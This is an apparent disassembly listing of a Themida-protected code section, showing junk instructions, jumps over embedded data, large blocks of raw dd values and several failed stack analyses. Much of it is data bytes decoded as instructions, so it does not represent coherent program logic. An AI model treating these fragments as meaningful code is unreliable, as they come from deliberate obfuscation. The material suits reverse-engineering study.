loc_610215: ; CODE XREF: Themida_:00610204p
imul esp, [esi-7Fh], -22h
and al, 3Ch
pop edi
push ecx
cld
pop ecx
jmp loc_610238
; ---------------------------------------------------------------------------
dd 0BCB95C0h, 45ECF67Bh, 66389710h, 0A92C140Bh, 0EABE5BBFh
; ---------------------------------------------------------------------------
loc_610238: ; CODE XREF: Themida_:0061021Fj
jmp loc_610247
; ---------------------------------------------------------------------------
align 2
dw 5761h
dd 47AF766Ah
db 9Eh, 72h, 94h
; ---------------------------------------------------------------------------
loc_610247: ; CODE XREF: Themida_:loc_610238j
and di, 9EA2h
mov cx, si
sub ebx, 0B3C1E6Ch
pusha
mov di, 3016h
mov ah, 9Ch
popa
mov bh, cl
mov al, bh
mov esi, eax
clc
mov dl, ch
mov al, bh
movsx ecx, cx
jle loc_610281
push ecx
call near ptr loc_610279+6
in eax, 4Bh
loc_610279: ; CODE XREF: Themida_:00610272p
jmp far ptr 59B6h:785661F1h
; ---------------------------------------------------------------------------
pop ecx
loc_610281: ; CODE XREF: Themida_:0061026Bj
jnb loc_6102A4
call sub_610297
sbb ebp, [esi+69h]
ror bh, 0B2h
add ch, [edi+edi*2]
iret
; ---------------------------------------------------------------------------
sti
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_610297 proc near ; CODE XREF: Themida_:00610287p
jmp sub_6102A3
sub_610297 endp
; ---------------------------------------------------------------------------
db 0CCh
db 6Dh, 80h, 0B8h
; ---------------------------------------------------------------------------
mov eax, edi
cwde
; =============== S U B R O U T I N E =======================================
sub_6102A3 proc near ; CODE XREF: sub_610297j
pop ebx
loc_6102A4: ; CODE XREF: Themida_:loc_610281j
mov dx, 28Ch
mov edi, 64A2FBD9h
sbb ch, 29h
mov bx, ax
movzx ebx, dx
clc
jno loc_6102D8
pusha
jmp loc_6102D7
; ---------------------------------------------------------------------------
db 68h
dd 89DF5303h, 0FAC3B3F4h, 95EE7123h, 0CA6BE949h
db 0ADh, 0F7h, 48h
; ---------------------------------------------------------------------------
loc_6102D7: ; CODE XREF: sub_6102A3+1Bj
popa
loc_6102D8: ; CODE XREF: sub_6102A3+14j
jnb loc_6102E1
mov si, dx
loc_6102E1: ; CODE XREF: sub_6102A3:loc_6102D8j
movzx esi, si
mov dx, bx
clc
pusha
movzx ecx, si
popa
sub al, 64h
js loc_610313
jle loc_610313
call sub_610312
pop ecx
dec eax
xchg eax, ecx
pop edx
inc esi
mov ds:597CB59Ch, ebx
call near ptr 65E9087Dh
icebp
sub_6102A3 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_610312 proc near ; CODE XREF: sub_6102A3+59p
pop ebx
loc_610313: ; CODE XREF: sub_6102A3+4Dj
; sub_6102A3+53j
jnz loc_61031F
or ebx, 7ACAD5Bh
loc_61031F: ; CODE XREF: sub_610312:loc_610313j
mov di, cx
pusha
movzx edx, bx
call near ptr loc_610338+5
inc ebp
push edi
outsb
sub eax, 6414A3A1h
add al, 0A9h
daa
adc al, 0E8h
loc_610338: ; CODE XREF: sub_610312+14p
sbb dword ptr [esi+ecx*8], 8166224Fh
sub_610312 endp ; sp-analysis failed
sar dword ptr [edx-7E9EA645h], 0D3h
jo short loc_610383
loopne near ptr loc_61037A+2
jl loc_610352
mov bl, dl
loc_610352: ; CODE XREF: Themida_:0061034Aj
jnp loc_61035D
mov edx, 5E43FB3Dh
loc_61035D: ; CODE XREF: Themida_:loc_610352j
mov dx, 982Eh
stc
call sub_61036C
mov dl, 0Dh
mov cl, 39h
pop es
; =============== S U B R O U T I N E =======================================
sub_61036C proc near ; CODE XREF: Themida_:00610362p
movzx eax, si
pop edi
pusha
mov si, bx
push ecx
pop ecx
popa
mov si, dx
loc_61037A: ; CODE XREF: Themida_:00610348j
jno loc_610383
or dl, 3Ch
loc_610383: ; CODE XREF: Themida_:00610346j
; sub_61036C:loc_61037Aj
push ebx
mov si, di
pop edx
jz loc_6103A9
push ecx
jmp loc_6103A8
; ---------------------------------------------------------------------------
or [edx-3Bh], ecx
adc [edi], dl
loc_610399: ; CODE XREF: sub_61036C:loc_610399j
jmp short loc_610399
; ---------------------------------------------------------------------------
db 51h
dd 0DAFAA8AFh, 9EA75C00h, 8BEE0FD2h
; ---------------------------------------------------------------------------
loc_6103A8: ; CODE XREF: sub_61036C+23j
pop ecx
loc_6103A9: ; CODE XREF: sub_61036C+1Cj
mov esi, 6BA6FFh
adc si, 0D65h
mov esi, eax
movsx esi, dx
movsx edx, bx
push ecx
pop ecx
pusha
pusha
mov di, dx
sbb dh, 9
popa
cmc
popa
mov di, 4098h
mov cx, 8D74h
jmp loc_6103DE
; ---------------------------------------------------------------------------
db 0FDh, 40h, 41h
dd 44B5F63h
db 0A6h, 26h
; ---------------------------------------------------------------------------
loc_6103DE: ; CODE XREF: sub_61036C+64j
mov eax, 29248AAFh
mov bl, 5Dh
call near ptr loc_6103F7+2
enter 415Bh, 0E4h
dec ebp
cmp al, 0AEh
arpl [edx+22108AF5h], sp
loc_6103F7: ; CODE XREF: sub_61036C+79p
lds edi, [eax+58h]
sub_61036C endp ; sp-analysis failed
pusha
jmp loc_610411
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
db 0DDh, 48h, 35h
dd 3FD611EEh, 30C95BD0h, 0C8DB0A67h
db 2
; ---------------------------------------------------------------------------
loc_610411: ; CODE XREF: Themida_:006103FBj
popa
jnp loc_61041E
pusha
push edi
pop eax
mov ah, 0A6h
popa
loc_61041E: ; CODE XREF: Themida_:00610412j
xor edx, 2A8C287Eh
mov bx, 3052h
mov si, dx
mov cl, 24h
jo loc_61043A
push ecx
mov edx, 739B2FCBh
pop ecx
loc_61043A: ; CODE XREF: Themida_:0061042Dj
call sub_610448
and al, 0FCh
jmp near ptr 0C6F3E8C6h
; ---------------------------------------------------------------------------
dw 96A0h
; =============== S U B R O U T I N E =======================================
sub_610448 proc near ; CODE XREF: Themida_:loc_61043Ap
movzx ecx, si
pop edi
mov dh, 6Bh
sbb esi, 5ADF0CD0h
jb loc_61045F
mov ecx, 5BEB5B76h
loc_61045F: ; CODE XREF: sub_610448+Cj
push edi
sub dl, 9Bh
pop edx
movsx eax, bx
or ax, 71C7h
mov dl, 0C9h
movsx esi, ax
jnp loc_61047C
mov eax, 76DFAF4Ah
loc_61047C: ; CODE XREF: sub_610448+29j
mov bx, 8D6Bh
mov ecx, 48CF9E33h
jz loc_610495
ja loc_610495
mov bx, 66E2h
loc_610495: ; CODE XREF: sub_610448+3Dj
; sub_610448+43j
mov ax, si
pusha
clc
and si, 0CC39h
popa
mov edx, ecx
mov si, di
js loc_6104AD
mov dh, 0D5h
loc_6104AD: ; CODE XREF: sub_610448+5Dj
jmp loc_6104BF
; ---------------------------------------------------------------------------
dw 0E621h
dd 518D3B80h, 0D74FA99Ch
db 0C6h, 53h, 30h
; ---------------------------------------------------------------------------
loc_6104BF: ; CODE XREF: sub_610448:loc_6104ADj
jmp loc_6104D2
; ---------------------------------------------------------------------------
dd 0FD288ABDh, 0F24D6A1Ch, 0A6AC3A10h
; ---------------------------------------------------------------------------
push ds
dec ebp
loc_6104D2: ; CODE XREF: sub_610448:loc_6104BFj
mov esi, 6A497F0h
pusha
jmp loc_6104F0
; ---------------------------------------------------------------------------
db 0D3h, 89h, 60h
dd 5E24DE48h, 1B85661Ah, 0FBA1D507h, 0DD25170Ah
; ---------------------------------------------------------------------------
loc_6104F0: ; CODE XREF: sub_610448+90j
mov edi, 73C95173h
popa
jmp loc_61050C
; ---------------------------------------------------------------------------
db 0FAh
dd 0FBC1A946h, 0A3E1326Ah, 0A58629D4h, 89DF208h
; ---------------------------------------------------------------------------
loc_61050C: ; CODE XREF: sub_610448+AEj
js loc_610522
jmp loc_610522
; ---------------------------------------------------------------------------
db 0D2h
dd 0CF0227F7h, 0C10C1164h
db 0C0h, 0B7h
; ---------------------------------------------------------------------------
loc_610522: ; CODE XREF: sub_610448:loc_61050Cj
; sub_610448+CAj
pusha
mov cx, 4B3Ah
add edx, 5B4E9F00h
popa
jmp loc_61053C
; ---------------------------------------------------------------------------
db 0DAh
dd 6DAAF4FAh, 80A3AD7Eh
; ---------------------------------------------------------------------------
loc_61053C: ; CODE XREF: sub_610448+E6j
pusha
jbe loc_610545 ; CODE XREF: sub_6105A3+1Dj
mov edi, eax
loc_610545: ; CODE XREF: sub_610448+F5j
and al, 0C9h
popa
mov ax, 7754h
call sub_610563
rep inc eax
daa
mov ch, 95h
outsb
sub esi, 0FFFFFFF7h
shl dword ptr [eax], cl
or edi, [esi-5Dh]
dec ebx
cwde
pusha
sub_610448 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_610563 proc near ; CODE XREF: sub_610448+105p
call near ptr loc_610570+4
push esp
xchg eax, ebx
neg esi
pop ecx
stosb
push eax
insd
loc_610570: ; CODE XREF: sub_610563p
mov esp, 0BB85E439h
sub_610563 endp ; sp-analysis failed
pop eax
db 66h
rcr byte ptr [edi+ebx*2+5Eh], cl
and edi, 52FA1BD5h
jmp loc_610598
; ---------------------------------------------------------------------------
dw 0E4B9h
; ---------------------------------------------------------------------------
add eax, 68633CF0h
neg dword ptr ds:0DE91846Ah
mov bl, 0ADh
inc esi
pop edx
push ebp
loc_610598: ; CODE XREF: Themida_:00610581j
call sub_6105A3
mov ds:87D56564h, eax
in eax, dx
; =============== S U B R O U T I N E =======================================
sub_6105A3 proc near ; CODE XREF: Themida_:loc_610598p
mov esi, 1006DB94h
pop esi
movsx ecx, dx
jl loc_6105C7
call sub_6105C4
insd
xchg eax, esp
test al, 29h
adc ch, [edx]
mov word ptr [edx-23h], es
jno short near ptr loc_61053D+5
pushf
into
sub_6105A3 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_6105C4 proc near ; CODE XREF: sub_6105A3+Fp
push esi
pop ecx
pop eax
loc_6105C7: ; CODE XREF: sub_6105A3+9j
and dx, 1BCBh
sbb ebx, 4769F630h
jmp loc_6105DD
; ---------------------------------------------------------------------------
db 46h
dd 0A437AFE6h
db 10h
; ---------------------------------------------------------------------------
loc_6105DD: ; CODE XREF: sub_6105C4+Ej
mov dx, 2BAh
push ebx
pop edx
jnp loc_6105EB
mov dh, al
loc_6105EB: ; CODE XREF: sub_6105C4+1Fj
mov cl, dl
mov ax, 29BCh
jmp loc_6105FE
; ---------------------------------------------------------------------------
dw 12BEh
dd 0A74BE0D9h
db 0C7h, 0B4h
; ---------------------------------------------------------------------------
loc_6105FE: ; CODE XREF: sub_6105C4+2Dj
movsx ecx, cx
cld
xor ah, 0E5h
mov si, 0D0EDh
jmp loc_610620
; ---------------------------------------------------------------------------
dw 0DEF6h
dd 20980B8Ah, 0CE2A4426h, 7D5D012Dh, 0BCDFE0ADh
; ---------------------------------------------------------------------------
loc_610620: ; CODE XREF: sub_6105C4+45j
cld
mov bh, 0F7h
mov cl, dl
mov cx, 862Bh
cmc
pusha
or dh, 81h
jo loc_610636
pusha
popa
loc_610636: ; CODE XREF: sub_6105C4+6Aj
popa
mov ecx, eax
call near ptr loc_61064A+4
xchg eax, ebx
in al, dx
shr byte ptr [esi+10h], 1
mov byte ptr [esi-0A506B26h], 75h
loc_61064A: ; CODE XREF: sub_6105C4+75p
repne push 0EE957ECh
sub_6105C4 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dd 91000000h, 9ADA1409h, 0B6350049h, 94B748CFh, 60525B0Ah
dd 61FA8AF9h, 4192B95Ah, 0B8664B0Ch, 0B35226BFh, 8B665FFEh
dd 0FEC7B8C1h, 5E857F2h, 0ED000000h, 92B5920Dh, 6E9h, 4275C500h
dd 5921276Ch, 0EDA6EFB8h, 0F88B666Bh, 0DFB70F60h, 0F6142B7h
dd 8160F7BFh, 0AB086BE1h, 61F08B0Bh, 23DCBDB9h, 88E0F7Dh
dd 0F000000h, 289h, 6079B200h, 51F3BB66h, 0F8CCB461h, 75F68166h
dd 12E844h, 22370000h, 4D363072h, 8B01D306h, 9EC3F75Eh
dd 8FC37696h, 6E9h, 30069800h, 5B8C92FAh, 0FCAB70Fh, 2D82h
dd 0EE800h, 0B0740000h, 0ED21F1AAh, 92731CB4h, 0AC3C6BEBh
dd 14E9h, 83021300h, 3B8D55A2h, 0BFF59958h, 0DBEB437h
dd 3F07D5E5h, 0BF665BDBh, 66531282h, 0D1BC881h, 7E85Bh
dd 0FEC10000h, 41CA276Fh, 0D78166C5h, 0F592B8Ch, 38Ah
dd 0C7BF0F00h, 8F96B9F9h, 8B660CCDh, 0F810FF2h, 50000000h
dd 8E9h, 93B75D00h, 0F7F81B48h, 820F592Dh, 8, 28C0Fh, 0F08B0000h
dd 60604EB3h, 0DE8h, 6AF43A00h, 0BE9AF175h, 16E3349Bh
dd 615F6B13h, 7CB86661h, 7E180FDh, 10E9h, 5BA6A300h, 0FC4A36F7h
dd 25DF5F57h, 614A0D15h, 0CE8F9h, 7A710000h, 0B57AEAEAh
dd 0FB9CBBEAh, 7AB85CE7h, 5E3892C1h, 0E9D8BF0Fh, 9, 2364116Ch
dd 1231B7BBh, 8E0F6082h, 0
; ---------------------------------------------------------------------------
push edi
movzx ebx, ax
pop edx
popa
adc ax, 0B664h
mov ecx, 1234B6FBh
mov ch, 1Eh
mov eax, 7AB6C26Bh
jmp loc_610810
; ---------------------------------------------------------------------------
dd 87E4D3BBh, 3AB33D82h, 0A66ECE6Dh, 0DE39E678h, 44EFEEABh
; ---------------------------------------------------------------------------
loc_610810: ; CODE XREF: Themida_:006107F7j
jns loc_610827
push eax
jmp loc_610826
; ---------------------------------------------------------------------------
scasd
mov esp, 0DEC6E863h
pop edx
std
inc esi
stosb
loc_610826: ; CODE XREF: Themida_:00610817j
pop ecx
loc_610827: ; CODE XREF: Themida_:loc_610810j
jmp loc_610836
; ---------------------------------------------------------------------------
not eax
retn
; ---------------------------------------------------------------------------
db 41h
dd 59BC8DBCh
; ---------------------------------------------------------------------------
test al, 74h
loc_610836: ; CODE XREF: Themida_:loc_610827j
mov eax, 65AFA77Eh
jmp loc_610854
; ---------------------------------------------------------------------------
dd 0F4CED3C5h, 9416EA5Eh, 1ED562DBh, 7C09C9E2h, 454A89ADh
; ---------------------------------------------------------------------------
loc_610854: ; CODE XREF: Themida_:0061083Bj
push eax
cmc
pop ecx
mov ah, 62h
movsx esi, di
movsx eax, dx
mov ebx, 57E41FFh
jmp loc_610871
; ---------------------------------------------------------------------------
test eax, 0D30AEFD4h
inc ebp
pop ebp
cdq
loc_610871: ; CODE XREF: Themida_:00610864j
pusha
mov al, 0A2h
pusha
mov bx, 0BF6Fh
popa
popa
jbe loc_610887
xor ebx, 7AA79EE4h
loc_610887: ; CODE XREF: Themida_:0061087Bj
and bl, 0E5h
jb loc_610896
sub edx, 3079BDh
loc_610896: ; CODE XREF: Themida_:0061088Aj
add cx, 0CBACh
mov ecx, ebx
mov ecx, 3D4B4918h
call near ptr loc_6108A9+4
pop edx
inc esi
loc_6108A9: ; CODE XREF: Themida_:006108A2p
mov ds:7ABBB59Ch, ebx
hlt
; ---------------------------------------------------------------------------
mov ah, 5Bh
pop edi
jnz loc_6108C5
jle loc_6108C5
jnp $+6
loc_6108C5: ; CODE XREF: Themida_:006108B3j
; Themida_:006108B9j
mov edi, eax
jmp loc_6108DF
; ---------------------------------------------------------------------------
dd 0F0125F74h, 978032E3h, 1D55B2A8h, 0B415F270h
db 44h, 90h, 8Fh
; ---------------------------------------------------------------------------
loc_6108DF: ; CODE XREF: Themida_:006108C7j
jns loc_6108EB
and edx, 6842F458h
loc_6108EB: ; CODE XREF: Themida_:loc_6108DFj
jmp loc_610903
; ---------------------------------------------------------------------------
dd 90FF107Dh, 37CD36B0h, 7F319AB2h, 4C77E87Ah
db 2 dup(16h), 68h
; ---------------------------------------------------------------------------
loc_610903: ; CODE XREF: Themida_:loc_6108EBj
pusha
jmp loc_61091B
; ---------------------------------------------------------------------------
db 3Eh, 85h, 0E3h
dd 2B8637B1h, 591EDA60h, 6DA786Ah
db 62h, 52h, 0FDh
; ---------------------------------------------------------------------------
loc_61091B: ; CODE XREF: Themida_:00610904j
mov ch, ah
popa
jnz loc_610927
movzx edi, cx
loc_610927: ; CODE XREF: Themida_:0061091Ej
mov edx, 1397CE1Eh
and ch, 3Ch
clc
mov si, 0D9D8h
xor ebx, 15587CFFh
pusha
mov bx, dx
popa
sub ch, 58h
jmp loc_61094E
; ---------------------------------------------------------------------------
db 0FCh
dd 2B29839Fh
db 6Dh, 35h
; ---------------------------------------------------------------------------
loc_61094E: ; CODE XREF: Themida_:00610942j
call loc_61095B
enter 260Ah, 2Eh
jbe short near ptr loc_6109A0+4
in eax, dx
push es
loc_61095B: ; CODE XREF: Themida_:loc_61094Ep
pusha
jmp loc_610967
; ---------------------------------------------------------------------------
db 0EAh, 0EFh, 0C0h
db 15h, 3Ah, 7Fh
; ---------------------------------------------------------------------------
loc_610967: ; CODE XREF: Themida_:0061095Cj
popa
pop esi
and cl, 0C3h
jmp loc_610980
; ---------------------------------------------------------------------------
db 0Bh, 78h, 15h
dd 0BC9ABF62h, 713CFEBCh, 5F3C6C71h
; ---------------------------------------------------------------------------
loc_610980: ; CODE XREF: Themida_:0061096Cj
mov edi, eax
call sub_610997
stc
arpl [edi-14h], dx
mov ah, 0DDh
inc ebx
; ---------------------------------------------------------------------------
dw 668Fh
; ---------------------------------------------------------------------------
mov al, ds:8080E576h
aad 0B4h
; =============== S U B R O U T I N E =======================================
sub_610997 proc near ; CODE XREF: Themida_:00610982p
mov cl, 49h
pop ebx
xor esi, 682A56C9h
loc_6109A0: ; CODE XREF: Themida_:00610957j
call near ptr loc_6109B2+1
and eax, 8BE8CE7Fh
pop ss
cld
adc bh, [edi+4FBCBB4Ah]
loc_6109B2: ; CODE XREF: sub_610997:loc_6109A0p
shr al, 11h
sub_610997 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 3 dup(0)
; ---------------------------------------------------------------------------
and [edx-5Ah], cl
fcomp qword ptr [edi]
push edx
loc_6109BE: ; CODE XREF: Themida_:006109E4j
sbb [edi-4A2A01Bh], cl
mov byte ptr [edi], 40h
jnb short near ptr loc_610A3D+2
cmc
pop ecx
pop esi
jno loc_6109D8
pusha
pusha
popa
push ebx
pop eax
popa
loc_6109D8: ; CODE XREF: Themida_:006109CCj
pusha
jmp loc_6109E6
; ---------------------------------------------------------------------------
dw 1DB6h
dd 5C7EE93h
; ---------------------------------------------------------------------------
jno short loc_6109BE
loc_6109E6: ; CODE XREF: Themida_:006109D9j
pusha
jz $+6
popa
popa
mov bx, di
jg loc_610A00
jl loc_610A00
push ecx
pop esi
loc_610A00: ; CODE XREF: Themida_:006109F2j
; Themida_:006109F8j
movzx edx, si
mov eax, 1CD42586h
mov edi, 769ADD23h
pusha
and ebx, 7CA94A29h
mov eax, ebx
popa
mov bx, 50D0h
mov si, 0A6C3h
mov al, 87h
mov si, 521Bh
jmp loc_610A32
; ---------------------------------------------------------------------------
dw 22D2h
dd 0C8B70C3Fh
db 0DEh, 0A4h
; ---------------------------------------------------------------------------
loc_610A32: ; CODE XREF: Themida_:00610A25j
and edx, 16997D4Ch
mov eax, 36299295h
loc_610A3D: ; CODE XREF: Themida_:006109C7j
mov esi, 6964D5C8h
jb loc_610A60
jmp loc_610A60
; ---------------------------------------------------------------------------
db 0A6h, 0F8h, 0D8h
dd 9A05965Fh, 419F8AEAh, 954F37C0h, 647A5330h
; ---------------------------------------------------------------------------
loc_610A60: ; CODE XREF: Themida_:00610A42j
; Themida_:00610A48j
mov cl, 12h
push eax
xor eax, 0FC25CEEh
pop edx
movzx eax, cx
mov cx, 130Eh
clc
ja $+6
jz loc_610A84
push ecx
mov ax, 0B7A0h
pop esi
loc_610A84: ; CODE XREF: Themida_:00610A78j
stc
clc
sub dl, 84h
sbb di, 0A0D1h
mov al, 83h
mov edi, edx
movsx edx, ax
and edi, 34C9F839h
jnz loc_610AA9
jo loc_610AA9
mov eax, edi
loc_610AA9: ; CODE XREF: Themida_:00610A9Bj
; Themida_:00610AA1j
or cl, 0A7h
mov ebx, ecx
cmc
sub eax, 402BC94Ch
call near ptr loc_610AC2+3
rcr byte ptr [eax-3EFE1651h], 1
jecxz short near ptr loc_610ACE+1
loc_610AC2: ; CODE XREF: Themida_:00610AB5p
mov eax, 8B66C50Eh
mov dword ptr [ebx+0Fh], 1A85h
loc_610ACE: ; CODE XREF: Themida_:00610AC0j
add al, ch
adc [eax], al
; ---------------------------------------------------------------------------
dw 0
dd 7D6D439Bh, 0C2EE143Dh, 38E39645h, 0E1405D22h, 4963BF66h
dd 10E9505Bh, 99000000h, 0C075B326h, 0F78D595Bh, 0A71312A8h
dd 58E5B71Fh, 96C08166h, 3ABB6627h, 0F08B6656h, 0FD08B66h
dd 32BFFAB7h, 0B0477F4Ch, 0F8B70F69h, 2860FF5h, 8B000000h
dd 4924BEFEh, 8B606769h, 12E9C6h, 0AE7A0000h, 7C8214B1h
dd 726D567Ch, 500EDD41h, 1F90B481h, 0C7C78061h, 38C88166h
dd 0AE96048h, 0B9000000h, 10F0E90Ch, 0EA3775A8h, 14E9A5h
dd 208E0000h, 0B3AFE2BCh, 6F3909ACh, 0DC5312E8h, 5D1D503Ah
dd 60612121h, 0AE956h, 5BFE0000h, 85A06BEFh, 187CBE95h
dd 0B3BB6158h, 0F367ADFh, 381h, 0C8B70F00h, 0FC3B0F8h
dd 0E881C2B7h, 29CF29D3h, 8003E480h, 81667AE7h, 0E9A4FFE3h
dd 9, 8543E2Ah, 0E7FE09EBh, 9E956A9h, 0D4000000h, 56757118h
dd 9719FC34h, 42B6F559h, 9870Fh, 8A0F0000h, 3, 0E9DABF0Fh
dd 7, 0D0ADED90h, 8B120319h, 0DF8160D7h, 587D2778h, 0DF8061FCh
dd 7BE66D5h, 0EA4BB834h, 0D2813F39h, 2FDB26D0h, 0C1C7BA60h
dd 816128BDh, 31A7C4EEh, 940ABF2Ch, 0F504A00h, 38Bh, 0FBC68000h
dd 8B66515Fh, 0FF95ADFh, 850FCEBFh, 2, 12E8D18Bh, 24000000h
dd 0D53B6877h, 28817C3Dh, 9E7D143Ah, 59C083A8h, 0BE974h
dd 7B710000h, 0ADDB75F4h, 0F73CC4BEh, 666059E1h, 0A26BF381h
dd 8B6661F8h, 6E7B9D7h, 0F50312Dh, 8158C8B7h, 5E4832F0h
dd 1089B912h, 4CB07E68h, 13E8h, 0DD356100h, 422E3A5Ah
dd 6EAEE137h, 0D6524546h, 7C91323Ah, 7880F59h, 57000000h
dd 820627B9h, 0E9605E67h, 0Ch, 0F30DB41Ch, 4F9B87E3h, 5B4148A9h
dd 61F9B70Fh, 0EE96CB1h, 0B0000000h, 0D327FE49h, 7E01DC50h
dd 27D1C4D9h, 13810F8Ch, 0E9000000h, 0Eh, 35EDA838h, 91656871h
dd 0F9EB58CDh, 830F36B3h, 3, 0FCDEB70Fh, 66F81CB5h, 0CA07F281h
dd 13E8F5h, 5B7B0000h, 99A0EF4Ah, 5BC25CEDh, 339884D3h
dd 74A0B4D1h, 0C7BF0FC9h, 0BE85Eh, 9190000h, 2CB54C2Ch
dd 0FBE77058h, 5DA8BE00h, 0B959575Fh, 26E9EA5Bh, 5980B866h
dd 66F3B70Fh, 239FE781h, 35CE8166h, 0C88B6615h, 0EE960h
dd 0B4360000h, 0D999242Fh, 47F43D9Dh, 0D59B258Dh, 6147EA80h
dd 6E6CBB66h, 0E9DFD380h, 10h, 581A90C9h, 0F281665Eh, 6BD1809Ch
dd 6EE34C52h, 0ACD28166h, 0BCF4BB02h, 0CE94A32h, 9E000000h
dd 0ED479472h, 1345414Ah, 0BBF6EE80h, 38849FDBh, 0F9FCD80h
dd 188h, 0BE9FC00h, 50000000h, 5110AFC9h, 3F49929h, 0CF8A1C7Fh
dd 38A0FF5h, 0F000000h, 0D48AC2BFh, 0E9F6B70Fh, 0Dh, 616FE882h
dd 0F4C86DE4h, 0EE70D60h, 8CBE665Ah, 13EA8135h, 8B73859Eh
dd 0E08166F3h, 0FF536AFh, 8166F9BFh, 0E8E211C1h, 0Ah, 0A8724A84h
dd 9A766FC7h, 62B76DBDh, 14E95Bh, 70B80000h, 8D329E87h
dd 7D5C16E2h, 3B1A0516h, 0F35E6F3Fh, 0F18B0E8Ah, 880FCE8Bh
dd 18h, 0CE8h, 45B05500h, 599F121Ch, 0FAF9B079h, 98E88191h
dd 5B0B72C3h, 0FD7B70Fh, 0EE80D8BFh, 8880FAFh, 0F000000h
dd 289h, 0F4FB700h, 682h, 0CDE78100h, 0E920F888h, 5, 26A27AF9h
dd 8E0FF6h, 66000000h, 8C5EF081h, 0E82CC380h, 0Ch, 0C8944DACh
dd 0B3C8F215h, 0F5D2FC57h, 68C0Fh, 0DF810000h, 55C5D349h
dd 3890F5Fh, 66000000h, 0CE9D68Bh, 0E9000000h, 924586C9h
dd 0ED3E55BDh, 5677007Bh, 515ED08Bh, 5BC9BF0Fh, 2BE98166h
dd 0D88B663Dh, 7E9AAB7h, 0C6000000h, 796477F0h, 8B663A95h
dd 28C0FF3h, 8A000000h, 57CE8BDCh, 0B38FE881h, 605814ECh
dd 8BFB8B66h, 665361DEh, 5B159CB9h, 0FA8BDE8Bh, 0DE857h
dd 0E5710000h, 0AAC9A501h, 7685A360h, 0B8B947F0h, 5CFEA5CAh
dd 0DAB65B59h, 8D0Fh, 0F7810000h, 77A3DE05h, 5920CBAh
dd 12E848h, 2C470000h, 21CF85D2h, 1EF6ADE3h, 971BF5DDh
dd 0C2D9B9Dh, 0F5EFC8Ah, 36B6FFB7h, 226584BEh, 6E90Ah
dd 40DC0000h, 0B2DDDD36h, 5E9h, 7430A000h, 0BA66A2D9h
dd 0B70F1282h, 11E9D9h, 2CA10000h, 100337A4h, 6FD1BC45h
dd 30E07850h, 0E996A634h, 13h, 0C8310D32h, 0E33F9F08h
dd 0FA6BF9F3h, 0C8D35F3Bh, 661CD0EAh, 0B8F88BB9h, 3D97F738h
dd 7341F081h, 0DE97EC1h, 55000000h, 0BEE2659Bh, 12958193h
dd 7CF8BAFEh, 9880Fh, 0B3600000h, 0B840BBA2h, 0F6132CFh
dd 0BE9F9B7h, 87000000h, 73EB5A94h, 9B9510B3h, 800F0BA5h
dd 12h, 0DE9h, 9FC16500h, 0A294EF7Eh, 91CE8630h, 66F893E0h
dd 1158D881h, 58F0Fh, 81660000h, 51E6BAC1h, 13E8h, 8572E900h
dd 0DAF9CAFh, 4F03844Ch, 271EF01h, 0D749429h, 0F88B5E5Bh
dd 625FB866h, 0BAFEBF0Fh, 63C1AF37h, 8B57E480h, 0F28BF9C8h
dd 810F6FB5h, 0
; ---------------------------------------------------------------------------
jmp loc_611045
; ---------------------------------------------------------------------------
lea ebp, [ecx+63366E1Eh]
push 6Ah
loc_611045: ; CODE XREF: Themida_:00611038j
mov ax, 0F528h
push eax
sbb cl, 0Ch
pop ebx
clc
mov dx, 65ABh
pusha
jb loc_61105D
movzx ebx, di
loc_61105D: ; CODE XREF: Themida_:00611054j
push edx
adc bl, 95h
pop edx
popa
movzx esi, dx
and ecx, 975F7A4h
js loc_611077
mov ebx, 17CF22C8h
loc_611077: ; CODE XREF: Themida_:0061106Cj
mov dl, 81h
jg loc_611082
mov ax, di
loc_611082: ; CODE XREF: Themida_:00611079j
jge loc_611094
jp loc_611094
jnb $+6
loc_611094: ; CODE XREF: Themida_:loc_611082j
; Themida_:00611088j
mov cx, 0D4CBh
cld
and di, 9616h
jmp loc_6110B1
; ---------------------------------------------------------------------------
push esi
nop
rcr dword ptr [esi+ecx], 1
mov eax, 0E37D0312h
sub [ebx-22h], ecx
loc_6110B1: ; CODE XREF: Themida_:0061109Ej
movsx eax, cx
or cl, 81h
call sub_6110CE
adc al, [esi]
push 0FFFFFF9Fh
popa
mov ah, 0B0h
push 19h
inc ebp
jnp short loc_611140
mov eax, gs:0D94C90EBh
; =============== S U B R O U T I N E =======================================
sub_6110CE proc near ; CODE XREF: Themida_:006110B7p
call near ptr loc_6110DE+3
xchg eax, ebx
fcmove st, st(7)
sub al, 9Ah
sub eax, [ecx+ebx*4-47h]
mov cl, ch
loc_6110DE: ; CODE XREF: sub_6110CEp
db 64h
mov ebx, 880F46h
sub_6110CE endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dd 5A000000h, 8F0F59h, 0F9000000h, 9ED08166h, 0AE978h
dd 0E93F0000h, 0C449A6F1h, 0B8553F41h, 14E9h, 6B7C9F00h
dd 2839789Fh, 2DA3C882h, 0C30CAB44h, 0EE3548DDh, 8A5CB611h
dd 11E850C6h, 7F000000h, 5F68FBCFh, 0F8CFE6E6h, 7BE68ABBh
dd 3ADAB403h, 13E9h, 0E6E17F00h
; ---------------------------------------------------------------------------
loc_611140: ; CODE XREF: Themida_:006110C6j
shl byte ptr [edx-605DA25Ch], 29h
das
add ecx, [eax+6Bh]
mov ebx, 0B2AE3DBFh
pop ebx
pop ecx
mov ebx, esi
adc esi, 547DD624h
movsx esi, dx
add di, 0AC1h
adc dx, 0D29Ch
and eax, 4A30EB42h
add bx, 0D31Dh
or ecx, 6766D1Bh
mov dx, 0DD1h
mov eax, 26404E6Bh
jmp loc_611195
; ---------------------------------------------------------------------------
dw 7BF0h
dd 10747925h, 0F05CD6Ch, 0DCB35FDBh
db 9Ah
; ---------------------------------------------------------------------------
loc_611195: ; CODE XREF: Themida_:00611181j
jmp loc_6111A5
; ---------------------------------------------------------------------------
dw 3EBFh
dd 0AB6C4697h, 7C0A5E94h
; ---------------------------------------------------------------------------
movsb
loc_6111A5: ; CODE XREF: Themida_:loc_611195j
sbb esi, 45E3831Dh
add dl, 2Dh
mov ch, 66h
pusha
cmc
mov cx, bx
popa
or ax, 0ECD5h
jmp loc_6111D2
; ---------------------------------------------------------------------------
